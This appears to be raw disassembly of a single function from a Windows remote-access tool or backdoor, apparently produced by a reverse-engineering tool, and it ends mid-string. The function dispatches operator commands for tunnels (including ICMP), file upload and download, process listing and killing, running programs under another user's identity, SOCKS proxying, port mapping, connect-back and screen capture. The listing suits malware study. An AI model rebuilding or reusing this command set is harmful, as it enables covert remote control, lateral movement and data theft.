Function at 0x401c60
Capabilities:
Accept command line arguments
Get common file path
Set current directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x660
mov eax, dword [0x438170]
xor eax, ebp
mov dword [ebp - 8], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
mov ebx, ecx
lea ecx, [ebp - 0x658]
push ecx
push eax
mov dword [ebp - 0x658], 0
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov edi, eax
test edi, edi
je 0x40312c
cmp dword [ebp - 0x658], 0
je 0x40312c
push str.help
push dword [edi]
call fcn.00426658
add esp, 8
test eax, eax
je 0x403106
push 0x433ae8
push dword [edi]
call fcn.00426658
add esp, 8
test eax, eax
je 0x403106
push 0x433aec
push dword [edi]
call fcn.00426658
add esp, 8
test eax, eax
jne 0x401e40
cmp dword [ebp - 0x658], 3
jne 0x40309d
mov eax, dword [edi + 8]
mov esi, dword [edi + 4]
push 0x208
mov dword [ebp - 0x660], eax
lea eax, [ebp - 0x254]
push 0
push eax
mov dword [ebp - 0x65c], esi
call fcn.0041e930
add esp, 0xc
lea eax, [ebp - 0x45c]
push 0x208
push 0
push eax
call fcn.0041e930
add esp, 0xc
push 0x3a
push esi
call fcn.004144d6
add esp, 8
test eax, eax
je 0x40309d
mov edi, dword [ebp - 0x65c]
mov esi, eax
sub esi, edi
sar esi, 1
cmp esi, 0x80
jg 0x40309d
add eax, 2
push eax
mov dword [ebp - 0x65c], eax
call fcn.00414bd4
add esp, 4
test eax, eax
je 0x40309d
push esi
lea eax, [ebp - 0x254]
push edi
push eax
call fcn.00414d8d
add esp, 0xc
push dword [ebp - 0x65c]
call fcn.00414bd4
add esp, 4
mov edi, eax
push 0x104
push dword [ebp - 0x660]
lea eax, [ebp - 0x45c]
push eax
call fcn.00414d8d
mov esi, dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
add esp, 0xc
xor eax, eax
push eax
push eax
push 0x80
mov word [ebp - 0x256], ax
lea eax, [ebp - 0x4dc]
push eax
push 0xffffffffffffffff
lea eax, [ebp - 0x254]
push eax
push 0
push 1
call esi
push 0
push 0
push 0x40
lea eax, [ebp - 0x4c]
push eax
push 0xffffffffffffffff
lea eax, [ebp - 0x45c]
push eax
push 0
push 1
call esi
lea eax, [ebp - 0x4c]
push eax
push edi
lea eax, [ebp - 0x4dc]
push eax
mov ecx, ebx
call fcn.00404930
mov esi, eax
test esi, esi
jne 0x4030a2
push str.Connected_successfully_n
push ebx
call fcn.00401a80
add esp, 8
lea eax, [esi + 1]
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.004144c7
mov esp, ebp
pop ebp
ret 4
push str.connecticmp
push dword [edi]
call fcn.00426658
add esp, 8
test eax, eax
jne 0x401f1e
cmp dword [ebp - 0x658], 3
jne 0x40309d
mov esi, dword [edi + 8]
push 0x104
push dword [edi + 4]
lea eax, [ebp - 0x254]
push eax
call fcn.00414d8d
add esp, 0xc
xor eax, eax
push 0x104
mov word [ebp - 0x4e], ax
lea eax, [ebp - 0x45c]
push esi
push eax
call fcn.00414d8d
mov esi, dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
add esp, 0xc
xor eax, eax
push eax
push eax
push 0x80
mov word [ebp - 0x256], ax
lea eax, [ebp - 0x4dc]
push eax
push 0xffffffffffffffff
lea eax, [ebp - 0x254]
push eax
push 0
push 1
call esi
push 0
push 0
push 0x40
lea eax, [ebp - 0x4c]
push eax
push 0xffffffffffffffff
lea eax, [ebp - 0x45c]
push eax
push 0
push 1
call esi
lea eax, [ebp - 0x4c]
push eax
lea eax, [ebp - 0x4dc]
push eax
mov ecx, ebx
call fcn.00404b90
mov esi, eax
test esi, esi
jne 0x4030a2
push str.Connected_successfully_n
push ebx
call fcn.00401a80
add esp, 8
lea eax, [esi + 1]
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.004144c7
mov esp, ebp
pop ebp
ret 4
push str.disconnect
push dword [edi]
call fcn.00426658
add esp, 8
test eax, eax
jne 0x401f66
mov ecx, ebx
call fcn.00404de0
mov esi, eax
test esi, esi
jne 0x4030a2
push str.Disconnected_n
push ebx
call fcn.00401a80
add esp, 8
lea eax, [esi + 1]
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.004144c7
mov esp, ebp
pop ebp
ret 4
push 0x433b78
push dword [edi]
call fcn.00426658
add esp, 8
test eax, eax
jne 0x402025
mov eax, dword [ebp - 0x658]
cmp eax, 1
jne 0x401ff7
push ecx
lea ecx, [ebp - 0x4e4]
call fcn.00409b80
mov esi, dword [ebp - 0x4e4]
push esi
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
test eax, eax
je 0x401fcb
push dword [ebp - 0x4e0]
push esi
push 0x433b80
push ebx
call fcn.00401a80
add esp, 0x10
mov dword [ebp - 0x660], 0
jmp 0x401fd7
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x660], eax
test esi, esi
je 0x401fe4
push esi
call fcn.00414cc3
add esp, 4
mov esi, dword [ebp - 0x660]
test esi, esi
je 0x403114
jmp 0x4030a2
cmp eax, 2
jne 0x40309d
push dword [edi + 4]
mov dword [ebp - 0x660], 0
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
test eax, eax
jne 0x401fe4
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x660], eax
jmp 0x401fe4
push 0x433b88
push dword [edi]
call fcn.00426658
add esp, 8
test eax, eax
jne 0x40207b
cmp dword [ebp - 0x658], 2
jne 0x40309d
mov edx, dword [edi + 4]
push ecx
lea eax, [ebp - 0x254]
push eax
lea ecx, [ebx + 0xd4]
call fcn.004094e0
add esp, 8
test eax, eax
je 0x40309d
lea eax, [ebp - 0x254]
push eax
mov ecx, ebx
call fcn.00404f60
mov esi, eax
jmp 0x401fea
push 0x433b90
push dword [edi]
call fcn.00426658
add esp, 8
test eax, eax
jne 0x4020e2
cmp dword [ebp - 0x658], 1
jne 0x4020ac
lea eax, [ebx + 0xd4]
push eax
mov ecx, ebx
call fcn.00405090
mov esi, eax
jmp 0x401fea
mov edx, dword [edi + 4]
push ecx
lea eax, [ebp - 0x254]
push eax
lea ecx, [ebx + 0xd4]
call fcn.004094e0
add esp, 8
test eax, eax
je 0x40309d
lea eax, [ebp - 0x254]
push eax
mov ecx, ebx
call fcn.00405090
mov esi, eax
jmp 0x401fea
push str.copy
push dword [edi]
call fcn.00426658
add esp, 8
test eax, eax
jne 0x402248
mov eax, dword [ebp - 0x658]
cmp eax, 2
jne 0x4021d5
mov edx, dword [edi + 4]
push ecx
lea eax, [ebp - 0x254]
lea esi, [ebx + 0xd4]
push eax
mov ecx, esi
call fcn.004094e0
add esp, 8
test eax, eax
je 0x40309d
push 0x104
lea eax, [ebp - 0x45c]
push esi
push eax
call fcn.00414d8d
add esp, 0xc
lea ecx, [ebp - 0x45c]
xor eax, eax
mov word [ebp - 0x256], ax
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x402152
sub ecx, edx
sar ecx, 1
cmp word [ebp + ecx*2 - 0x45e], 0x5c
jne 0x402189
lea ecx, [ecx*2 - 2]
cmp ecx, 0x208
jae 0x40314f
xor eax, eax
mov word [ebp + ecx - 0x45c], ax
lea ecx, [ebp - 0x45c]
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x402192
sub ecx, edx
sar ecx, 1
mov eax, 0x104
sub eax, ecx
push eax
lea eax, [ebp - 0x254]
push 0x5c
push eax
call fcn.004155f4
add esp, 8
push eax
lea eax, [ebp - 0x45c]
push eax
call fcn.00415211
add esp, 0xc
xor eax, eax
mov word [ebp - 0x256], ax
jmp 0x40222c
cmp eax, 3
jne 0x40309d
mov eax, dword [edi + 8]
mov edx, dword [edi + 4]
mov dword [ebp - 0x65c], eax
push ecx
lea eax, [ebp - 0x254]
push eax
lea ecx, [ebx + 0xd4]
call fcn.004094e0
add esp, 8
test eax, eax
je 0x40309d
mov edx, dword [ebp - 0x65c]
push ecx
lea eax, [ebp - 0x45c]
push eax
lea ecx, [ebx + 0xd4]
call fcn.004094e0
add esp, 8
test eax, eax
je 0x40309d
lea eax, [ebp - 0x45c]
push eax
lea eax, [ebp - 0x254]
push eax
mov ecx, ebx
call fcn.00405310
mov esi, eax
jmp 0x401fea
push str.move
push dword [edi]
call fcn.00426658
add esp, 8
test eax, eax
jne 0x4022d2
cmp dword [ebp - 0x658], 3
jne 0x40309d
mov eax, dword [edi + 8]
mov edx, dword [edi + 4]
mov dword [ebp - 0x65c], eax
push ecx
lea eax, [ebp - 0x254]
push eax
lea ecx, [ebx + 0xd4]
call fcn.004094e0
add esp, 8
test eax, eax
je 0x40309d
mov edx, dword [ebp - 0x65c]
push ecx
lea eax, [ebp - 0x45c]
push eax
lea ecx, [ebx + 0xd4]
call fcn.004094e0
add esp, 8
test eax, eax
je 0x40309d
lea eax, [ebp - 0x45c]
push eax
lea eax, [ebp - 0x254]
push eax
mov ecx, ebx
call fcn.00405410
mov esi, eax
jmp 0x401fea
push str.copytime
push dword [edi]
call fcn.00426658
add esp, 8
test eax, eax
jne 0x40235c
cmp dword [ebp - 0x658], 3
jne 0x40309d
mov eax, dword [edi + 8]
mov edx, dword [edi + 4]
mov dword [ebp - 0x65c], eax
push ecx
lea eax, [ebp - 0x254]
push eax
lea ecx, [ebx + 0xd4]
call fcn.004094e0
add esp, 8
test eax, eax
je 0x40309d
mov edx, dword [ebp - 0x65c]
push ecx
lea eax, [ebp - 0x45c]
push eax
lea ecx, [ebx + 0xd4]
call fcn.004094e0
add esp, 8
test eax, eax
je 0x40309d
lea eax, [ebp - 0x45c]
push eax
lea eax, [ebp - 0x254]
push eax
mov ecx, ebx
call fcn.00406b10
mov esi, eax
jmp 0x401fea
push str.mkdir
push dword [edi]
call fcn.00426658
add esp, 8
test eax, eax
jne 0x4023b2
cmp dword [ebp - 0x658], 2
jl 0x40309d
mov edx, dword [edi + 4]
push ecx
lea eax, [ebp - 0x254]
push eax
lea ecx, [ebx + 0xd4]
call fcn.004094e0
add esp, 8
test eax, eax
je 0x40309d
lea eax, [ebp - 0x254]
push eax
mov ecx, ebx
call fcn.00405510
mov esi, eax
jmp 0x401fea
push 0x433bd0
push dword [edi]
call fcn.00426658
add esp, 8
test eax, eax
jne 0x402408
cmp dword [ebp - 0x658], 2
jl 0x40309d
mov edx, dword [edi + 4]
push ecx
lea eax, [ebp - 0x254]
push eax
lea ecx, [ebx + 0xd4]
call fcn.004094e0
add esp, 8
test eax, eax
je 0x40309d
lea eax, [ebp - 0x254]
push eax
mov ecx, ebx
call fcn.00405600
mov esi, eax
jmp 0x401fea
push 0x433bd8
push dword [edi]
call fcn.00426658
add esp, 8
test eax, eax
jne 0x40250d
cmp dword [ebp - 0x658], 3
jne 0x40309d
mov edx, dword [edi + 4]
mov esi, dword [edi + 8]
push ecx
lea eax, [ebp - 0x254]
push eax
lea ecx, [ebx + 0xd4]
call fcn.004094e0
add esp, 8
test eax, eax
je 0x40309d
push 0x5c
push esi
call fcn.004144d6
add esp, 8
test eax, eax
jne 0x40309d
xor ecx, ecx
jmp 0x402470
movzx eax, word [ebp + ecx - 0x254]
mov word [ebp + ecx - 0x45c], ax
lea ecx, [ecx + 2]
test ax, ax
jne 0x402470
lea eax, [ebp - 0x45c]
push 0x5c
push eax
call fcn.004155f4
add esp, 8
test eax, eax
je 0x40309d
lea eax, [ebp - 0x45c]
push 0x5c
push eax
call fcn.004155f4
add esp, 8
xor ecx, ecx
mov word [eax + 2], cx
lea ecx, [ebp - 0x45c]
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x4024c1
sub ecx, edx
sar ecx, 1
mov eax, 0x104
sub eax, ecx
push eax
lea eax, [ebp - 0x45c]
push esi
push eax
call fcn.00415211
xor eax, eax
add esp, 0xc
mov word [ebp - 0x256], ax
lea eax, [ebp - 0x45c]
push eax
lea eax, [ebp - 0x254]
push eax
mov ecx, ebx
call fcn.004056f0
mov esi, eax
jmp 0x401fea
push str.getfile
push dword [edi]
call fcn.00426658
add esp, 8
test eax, eax
jne 0x402597
cmp dword [ebp - 0x658], 3
jne 0x40309d
mov eax, dword [edi + 8]
mov edx, dword [edi + 4]
mov dword [ebp - 0x65c], eax
push ecx
lea eax, [ebp - 0x254]
push eax
lea ecx, [ebx + 0xd4]
call fcn.004094e0
add esp, 8
test eax, eax
je 0x40309d
mov edx, dword [ebp - 0x65c]
push ecx
lea eax, [ebp - 0x45c]
push eax
lea ecx, [ebx + 0xd4]
call fcn.004094e0
add esp, 8
test eax, eax
je 0x40309d
lea eax, [ebp - 0x45c]
push eax
lea eax, [ebp - 0x254]
push eax
mov ecx, ebx
call fcn.004057f0
mov esi, eax
jmp 0x401fea
push str.putfile
push dword [edi]
call fcn.00426658
add esp, 8
test eax, eax
jne 0x402621
cmp dword [ebp - 0x658], 3
jne 0x40309d
mov eax, dword [edi + 8]
mov edx, dword [edi + 4]
mov dword [ebp - 0x65c], eax
push ecx
lea eax, [ebp - 0x254]
push eax
lea ecx, [ebx + 0xd4]
call fcn.004094e0
add esp, 8
test eax, eax
je 0x40309d
mov edx, dword [ebp - 0x65c]
push ecx
lea eax, [ebp - 0x45c]
push eax
lea ecx, [ebx + 0xd4]
call fcn.004094e0
add esp, 8
test eax, eax
je 0x40309d
lea eax, [ebp - 0x45c]
push eax
lea eax, [ebp - 0x254]
push eax
mov ecx, ebx
call fcn.00405a10
mov esi, eax
jmp 0x401fea
push str.filestat
push dword [edi]
call fcn.00426658
add esp, 8
test eax, eax
jne 0x402708
mov eax, dword [ebp - 0x658]
cmp eax, 1
jne 0x402651
mov ecx, ebx
call fcn.00405e20
mov esi, eax
jmp 0x401fea
cmp eax, 2
jne 0x40267c
push str.reload
push dword [edi + 4]
call fcn.00426658
add esp, 8
test eax, eax
jne 0x40309d
mov ecx, ebx
call fcn.00406680
mov esi, eax
jmp 0x401fea
cmp eax, 3
jl 0x40309d
mov eax, dword [edi + 4]
push dword [edi + 8]
mov dword [ebp - 0x65c], eax
call fcn.00414bd4
mov edi, dword [ebp - 0x65c]
add esp, 4
mov esi, eax
push str.cancel
push edi
call fcn.00426658
add esp, 8
test eax, eax
jne 0x4026c2
push esi
mov ecx, ebx
call fcn.00406050
mov esi, eax
jmp 0x401fea
push str.pause
push edi
call fcn.00426658
add esp, 8
test eax, eax
jne 0x4026e3
push esi
mov ecx, ebx
call fcn.004061f0
mov esi, eax
jmp 0x401fea
push str.resume
push edi
call fcn.00426658
add esp, 8
test eax, eax
jne 0x40309d
push esi
mov ecx, ebx
call fcn.004063a0
mov esi, eax
jmp 0x401fea
push str.find
push dword [edi]
call fcn.00426658
add esp, 8
test eax, eax
je 0x403062
push str.search
push dword [edi]
call fcn.00426658
add esp, 8
test eax, eax
je 0x403062
push 0x433c6c
push dword [edi]
call fcn.00426658
add esp, 8
test eax, eax
je 0x403054
push str.pslist
push dword [edi]
call fcn.00426658
add esp, 8
test eax, eax
je 0x403054
push str.pskill
push dword [edi]
call fcn.00426658
add esp, 8
test eax, eax
jne 0x402795
cmp dword [ebp - 0x658], 2
jl 0x40309d
push dword [edi + 4]
mov ecx, ebx
call fcn.00406d20
mov esi, eax
jmp 0x401fea
push str.shopen
push dword [edi]
call fcn.00426658
add esp, 8
test eax, eax
jne 0x4027cd
cmp dword [ebp - 0x658], 2
jl 0x40309d
lea eax, [ebx + 0xd4]
push eax
push dword [edi + 4]
mov ecx, ebx
call fcn.00406e30
mov esi, eax
jmp 0x401fea
push str.runas
push dword [edi]
call fcn.00426658
add esp, 8
test eax, eax
jne 0x40284d
mov eax, dword [ebp - 0x658]
cmp eax, 3
jne 0x402821
push dword [edi + 4]
call fcn.00414bd4
mov ecx, dword [edi + 4]
add esp, 4
xor edx, edx
cmp word [ecx], 0x2b
lea ecx, [ebx + 0xd4]
push ecx
push dword [edi + 8]
sete dl
push ecx
push 0
push 0
mov ecx, ebx
push edx
push eax
call fcn.00406f50
mov esi, eax
jmp 0x401fea
cmp eax, 4
jne 0x40309d
lea eax, [ebx + 0xd4]
push eax
push dword [edi + 0xc]
push ecx
push dword [edi + 8]
mov ecx, ebx
push dword [edi + 4]
push 0
push 0
call fcn.00406f50
mov esi, eax
jmp 0x401fea
push str.socks
push dword [edi]
call fcn.00426658
add esp, 8
test eax, eax
jne 0x4028ab
cmp dword [ebp - 0x658], 2
jl 0x40309d
push dword [edi + 4]
call fcn.00414bd4
add esp, 4
mov edi, eax
push edi
call fcn.0040df40
test eax, eax
mov ecx, 0x2740
mov esi, 0
cmove esi, ecx
test esi, esi
jne 0x4030a2
push edi
push str.socks4_listen_at__d_n
push ebx
call fcn.00401a80
add esp, 0xc
jmp 0x401fea
push str.closesocks
push dword [edi]
call fcn.00426658
add esp, 8
test eax, eax
je 0x403032
push str.socksclose
push dword [edi]
call fcn.00426658
add esp, 8
test eax, eax
je 0x403032
push str.portmap
push dword [edi]
call fcn.00426658
add esp, 8
test eax, eax
jne 0x402996
cmp dword [ebp - 0x658], 3
jl 0x40309d
push dword [edi + 4]
call fcn.00414bd4
add esp, 4
mov esi, eax
push 0
push 0
push 0x40
lea eax, [ebp - 0x4c]
push eax
push 0xffffffffffffffff
push dword [edi + 8]
mov dword [ebp - 0x65c], esi
push 0
push 1
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
lea eax, [ebp - 0x4c]
push 0x3a
push eax
call fcn.00414f40
add esp, 8
test esi, esi
je 0x40309d
test eax, eax
je 0x40309d
mov byte [eax], 0
inc eax
push eax
call fcn.0041506b
add esp, 4
mov edi, eax
push edi
lea eax, [ebp - 0x4c]
push eax
push esi
call fcn.0040e170
test eax, eax
mov ecx, 0x2740
mov esi, 0
cmove esi, ecx
test esi, esi
jne 0x4030a2
push edi
lea eax, [ebp - 0x4c]
push eax
push dword [ebp - 0x65c]
push str.portmap_listen__d_____S:_d_n
push ebx
call fcn.00401a80
add esp, 0x14
jmp 0x401fea
push str.closeportmap
push dword [edi]
call fcn.00426658
add esp, 8
test eax, eax
je 0x403015
push str.portmapclose
push dword [edi]
call fcn.00426658
add esp, 8
test eax, eax
je 0x403015
push str.vpnlist
push dword [edi]
call fcn.00426658
add esp, 8
test eax, eax
jne 0x4029fa
mov ecx, ebx
call fcn.00407300
push 0x433da8
push ebx
call fcn.00401a80
add esp, 8
mov ecx, ebx
call fcn.004074b0
mov esi, eax
jmp 0x401fea
push 0x433dac
push dword [edi]
call fcn.00426658
add esp, 8
test eax, eax
jne 0x402a42
cmp dword [ebp - 0x658], 3
jl 0x40309d
push dword [edi + 4]
call fcn.00414bd4
add esp, 4
push dword [edi + 8]
mov esi, eax
call fcn.00414bd4
add esp, 4
mov ecx, ebx
push eax
push esi
call fcn.00407690
mov esi, eax
jmp 0x401fea
push str.vpnclose
push dword [edi]
call fcn.00426658
add esp, 8
test eax, eax
jne 0x402a63
mov ecx, ebx
call fcn.004079c0
mov esi, eax
jmp 0x401fea
push str.vpnstat
push dword [edi]
call fcn.00426658
add esp, 8
test eax, eax
jne 0x402a84
mov ecx, ebx
call fcn.00407a50
mov esi, eax
jmp 0x401fea
push str.screen
push dword [edi]
call fcn.00426658
add esp, 8
test eax, eax
jne 0x402b5e
cmp dword [ebp - 0x658], 2
jl 0x40309d
mov eax, dword [edi + 4]
movzx eax, word [eax]
push eax
call fcn.004159d7
add esp, 4
test eax, eax
je 0x40309d
push dword [edi + 4]
call fcn.00414bd4
add esp, 4
mov esi, eax
lea eax, [ebp - 0x4ec]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx ecx, word [ebp - 0x4e0]
movzx eax, word [ebp - 0x4e6]
push ecx
movzx ecx, word [ebp - 0x4e2]
push ecx
movzx ecx, word [ebp - 0x4e4]
push ecx
push eax
movzx eax, word [ebp - 0x4ea]
push eax
movzx eax, word [ebp - 0x4ec]
push eax
push str._04u_02u_02u__02u_02u_02u.bmp
lea eax, [ebp - 0x254]
push 0x104
push eax
call fcn.00414bf1
add esp, 0x24
cmp dword [ebp - 0x658], 3
jl 0x402b48
push 0x104
push dword [edi + 8]
lea eax, [ebp - 0x254]
push eax
call fcn.00414d8d
add esp, 0xc
xor eax, eax
mov word [ebp - 0x4e], ax
lea eax, [ebp - 0x254]
push eax
push esi
mov ecx, ebx
call fcn.00407b10
mov esi, eax
jmp 0x401fea
push str.waitconnect
push dword [edi]
call fcn.00426658
add esp, 8
test eax, eax
jne 0x402bd6
cmp dword [ebp - 0x658], 4
jl 0x40309d
push dword [edi + 4]
call fcn.00414bd4
add esp, 4
test eax, eax
je 0x40309d
push dword [edi + 4]
call fcn.00414bd4
add esp, 4
mov esi, eax
push 0
push 0
push 0x40
lea eax, [ebp - 0x4c]
push eax
push 0xffffffffffffffff
push dword [edi + 8]
push 0
push 1
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
push dword [edi + 0xc]
call fcn.00414bd4
add esp, 4
mov ecx, ebx
push eax
lea eax, [ebp - 0x4c]
push eax
push esi
call fcn.00407d40
mov esi, eax
jmp 0x401fea
push str.cmdpacket
push dword [edi]
call fcn.00426658
add esp, 8
test eax, eax
jne 0x402f1b
cmp dword [ebp - 0x658], 4
jl 0x40309d
push 0x168
push eax
lea eax, [ebp - 0x654]
push eax
call fcn.0041e930
add esp, 0xc
push 0x3a
push dword [edi + 4]
call fcn.004144d6
add esp, 8
test eax, eax
je 0x402c59
push 0x3a
push dword [edi + 4]
call fcn.004144d6
add esp, 8
mov esi, eax
xor eax, eax
push eax
push eax
push 0x40
mov word [esi], ax
lea eax, [ebp - 0x4c]
push eax
push 0xffffffffffffffff
push dword [edi + 4]
push 0
push 1
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
lea eax, [esi + 2]
push eax
call fcn.00414bd4
add esp, 4
jmp 0x402c5f
mov eax, dword [ebp - 0x4e0]
mov dword [ebp - 0x65c], eax
test eax, eax
je 0x40309d
mov eax, dword [edi + 0xc]
mov esi, dword [edi + 8]
mov dword [ebp - 0x4e0], eax
mov eax, dword [edi + 0x10]
mov edi, dword [edi + 0x14]
mov dword [ebp - 0x660], eax
push 0x40
lea eax, [ebp - 0x4c]
push eax
lea eax, [ebp - 0x630]
push eax
call fcn.004154d0
mov eax, dword [ebp - 0x65c]
add esp, 0xc
mov dword [ebp - 0x5f0], eax
push 0
push 0
push 0x20
lea eax, [ebp - 0x650]
push eax
push 0xffffffffffffffff
push esi
push 0
push 1
mov byte [ebp - 0x5f1], 0
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov esi, dword [ebp - 0x4e0]
push str.execute
push esi
call fcn.00426658
add esp, 8
test eax, eax
jne 0x402d1e
cmp dword [ebp - 0x658], 5
jl 0x402ef9
push 0x80
push dword [ebp - 0x660]
lea eax, [ebp - 0x5ec]
push eax
mov dword [ebp - 0x654], 1
call fcn.00414d8d
add esp, 0xc
xor eax, eax
mov word [ebp - 0x4ee], ax
jmp 0x402ef9
push str.proxy
push esi
call fcn.00426658
add esp, 8
test eax, eax
jne 0x402d5d
cmp dword [ebp - 0x658], 5
jl 0x402ef9
push dword [ebp - 0x660]
mov dword [ebp - 0x654], 2
call fcn.00414bd4
mov dword [ebp - 0x5ec], eax
jmp 0x402ef6
push str.proxyclose
push esi
call fcn.00426658
add esp, 8
test eax, eax
jne 0x402d8e
lea eax, [ebp - 0x654]
push eax
mov ecx, ebx
mov dword [ebp - 0x654], 3
call fcn.00407f80
mov esi, eax
jmp 0x401fea
push str.portmap
push esi
call fcn.00426658
add esp, 8
test eax, eax
jne 0x402e1c
cmp dword [ebp - 0x658], 6
jl 0x402ef9
push dword [ebp - 0x660]
mov dword [ebp - 0x654], 6
call fcn.00414bd4
add esp, 4
mov dword [ebp - 0x5ec], eax
push 0x3a
push edi
call fcn.004144d6
add esp, 8
test eax, eax
je 0x402ef9
push 0x3a
push edi
call fcn.004144d6
add esp, 8
mov esi, eax
xor eax, eax
push eax
push eax
push 0x40
mov word [esi], ax
lea eax, [ebp - 0x5e8]
push eax
push 0xffffffffffffffff
push edi
push 0
push 1
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
lea eax, [esi + 2]
push eax
call fcn.00414bd4
mov dword [ebp - 0x5a8], eax
jmp 0x402ef6
push str.portmapclose
push esi
call fcn.00426658
add esp, 8
test eax, eax
jne 0x402e4d
lea eax, [ebp - 0x654]
push eax
mov ecx, ebx
mov dword [ebp - 0x654], 7
call fcn.00407f80
mov esi, eax
jmp 0x401fea
push str.listen
push esi
call fcn.00426658
add esp, 8
test eax, eax
jne 0x402e89
cmp dword [ebp - 0x658], 5
jl 0x402ef9
push dword [ebp - 0x660]
mov dword [ebp - 0x654], 4
call fcn.00414bd4
mov dword [ebp - 0x5ec], eax
jmp 0x402ef6
push str.listenclose
push esi
call fcn.00426658
add esp, 8
test eax, eax
jne 0x402eba
lea eax, [ebp - 0x654]
push eax
mov ecx, ebx
mov dword [ebp - 0x654], 5
call fcn.00407f80
mov esi, eax
jmp 0x401fea
push str.connectback
push esi
call fcn.00426658
add esp, 8
test eax, eax
jne 0x402ef9
cmp dword [ebp - 0x658], 5
jl 0x402ef9
push dword [ebp - 0x660]
mov dword [ebp - 0x654], 8
mov byte [ebp - 0x5ec], al
call fcn.00414bd4
mov dword [ebp - 0x5ac], eax
add esp, 4
cmp dword [ebp - 0x654], 0
je 0x40309d
lea eax, [ebp - 0x654]
push eax
mov ecx, ebx
call fcn.00407f80
mov esi, eax
jmp 0x401fea
push str.dump
push dword [edi]
call fcn.00426658
add esp, 8
test eax, eax
jne 0x40309d
lea eax, [ebx + 0xeb6c]
push eax
mov dword [ebp - 0x65c], ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
push str.Recv_Dump__n
push ebx
call fcn.00401a80
xor esi, esi
add esp, 8
cmp dword [ebx + 0xeb88], esi
jbe 0x402f81
lea ecx, [ecx]
push esi
lea ecx, [ebx + 0xeb68]
call fcn.00409b60
push eax
lea ecx, [ebp - 0x65c]
call fcn.00403160
inc esi
cmp esi, dword [ebx + 0xeb88]
jb 0x402f60
push str.Recv_Dump___n
push ebx
call fcn.00401a80
add esp, 8
lea eax, [ebx + 0xeb6c]
push eax
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
lea eax, [ebx + 0xeb44]
push eax
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
push str.Send_Dump__n
push ebx
call fcn.00401a80
xor esi, esi
add esp, 8
cmp dword [ebx + 0xeb60], esi
jbe 0x402fe2
push esi
lea ecx, [ebx + 0xeb40]
call fcn.00409b60
push eax
lea ecx, [ebp - 0x65c]
call fcn.00403160
inc esi
cmp esi, dword [ebx + 0xeb60]
jb 0x402fc1
push str.Send_Dump___n
push ebx
call fcn.00401a80
add esp, 8
lea eax, [ebx + 0xeb44]
push eax
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov eax, 1
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.004144c7
mov esp, ebp
pop ebp
ret 4
call fcn.0040e240
mov eax, 1
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.004144c7
mov esp, ebp
pop ebp
ret 4
mov ecx, 0x44a4a8
call fcn.0040e030
mov eax, 1
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.004144c7
mov esp, ebp
pop ebp
ret 4
mov ecx, ebx
call fcn.00406c10
mov esi, eax
jmp 0x401fea
cmp dword [ebp - 0x658], 2
jl 0x40309d
mov edx, dword [edi + 4]
push ecx
lea eax, [ebp - 0x254]
push eax
lea ecx, [ebx + 0xd4]
call fcn.004094e0
add esp, 8
test eax, eax
je 0x40309d
lea eax, [ebp - 0x254]
push eax
mov ecx, ebx
call fcn.004068f0
mov esi, eax
jmp 0x401fea
mov esi, 0x57
mov ecx, esi
call fcn.0040a070
mov edi, eax
test edi, edi
je 0x4030df
push edi
push 0x433b80
push ebx
call fcn.00401a80
add esp, 0xc
push edi
call fcn.00414cc3
add esp, 4
mov eax, 1
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.004144c7
mov esp, ebp
pop ebp
ret 4
push esi
push str.Error:__d_n
push ebx
call fcn.00401a80
add esp, 0xc
mov eax, 1
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.004144c7
mov esp, ebp
pop ebp
ret 4
push str.ListenCmd___help_n_nconnect________ip:port___pass__________________Connect_in_tunnel_nconnecticmp____ip___pass_______________________Connect_ICMP_in_tunnel_ndisconnect_____________________________________Disconnect_the_last_tunnel_nexitrk_________________________________________Close_all_connect_and_exit_n_nlcd____________path____________________________Change_local_directory_ncd_____________path____________________________Change_remote_directory_ndir_ncopy___________path___newpath__nmove___________path___newpath__nmkdir_ndel_nren____________path___newname__n_nfind___________c:.doc__ncopytime_______srcfile___dstfile______________Change_dstfiles_filetime_as_srcfile_ngetfile________remotepath___localpath__nputfile________localpath___remotepath__nfilestat______________________________________List_file_downloading_uploading_status_n_______________Cancel___Id____________________Cancel_download_n_______________Pausel___Id____________________Pause_download_n_______________Resume___Id____________________Resume_paused_download_n_______________Reload_________________________Reload_last_saved_file_download_task_n_npslist_npskill_________pid__exename__nshopen_________doc_____________________________Open_file_by_associated_program__background_nrunas____________pid___cmd_____user_domain___pass___cmd__n_______________________________________________Run_program_as_user_of_pid_n_nsocks__________listenport______________________socks_proxy_nsocksclose_____________________________________close_socks_proxy_npor